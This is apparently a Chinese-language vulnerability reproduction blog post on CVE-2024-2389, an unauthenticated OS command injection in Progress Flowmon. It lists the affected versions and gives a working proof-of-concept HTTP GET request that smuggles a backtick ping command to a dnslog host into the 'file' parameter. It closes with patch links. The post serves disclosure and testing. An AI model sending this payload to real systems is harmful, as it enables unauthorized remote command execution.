0x00写在前面

本次测试仅供学习使用，如若非法他用，与博客和本文作者无关，需自行负责！

0x01漏洞介绍

Progress Flowmon是Progress公司的一个实时网络流量监控工具。

Progress Flowmon 11.1.14之前的11.x版本和12.3.5之前的12.x版本存在安全漏洞，该漏洞源于存在操作系统命令注入漏洞，未经身份验证的用户可以通过管理界面访问系统，从而执行任意系统命令。

0x02影响版本

Progress Flowmon 11.1.14之前的11.x版本和12.3.5之前的12.x版本

0x03漏洞复现


1.访问漏洞环境



2.对漏洞进行复现

 POC （GET）

漏洞复现

GET /service.pdfs/confluence?lang=en&file=`ping%20wpzmtaazjp.dgrh3.cn` 
HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15

Connection: close

Accept: /    

Accept-Language: en

Accept-Encoding: gzip

测试dnslog


3.nuclei工具测试（漏洞存在）


0x04修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability

https://support.kemptechnologies.com/hc/en-us/articles/19957432995213-Download-Flowmon-12-3